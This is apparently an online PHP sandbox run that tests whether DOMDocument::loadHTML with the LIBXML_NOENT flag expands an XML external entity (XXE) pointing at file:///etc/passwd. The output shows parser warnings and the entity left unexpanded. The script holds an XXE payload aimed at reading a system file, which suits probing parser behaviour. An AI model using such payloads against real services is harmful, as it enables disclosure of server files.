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<?php $xml = ' <!DOCTYPE foo [ <!ELEMENT html ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <html>&xxe;</html>'; $doc = new DOMDocument; $doc->loadHTML($xml, LIBXML_NOENT); echo $doc->saveXML();
Output for git.master, git.master_jit, rfc.property-hooks
Warning: DOMDocument::loadHTML(): DOCTYPE improperly terminated in Entity, line: 2 in /in/Avd6Q on line 10 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 3 in /in/Avd6Q on line 10 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 4 in /in/Avd6Q on line 10 Warning: DOMDocument::loadHTML(): htmlParseStartTag: misplaced <html> tag in Entity, line: 5 in /in/Avd6Q on line 10 <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo> <html><body><p>]&gt; &amp;xxe;</p></body></html>

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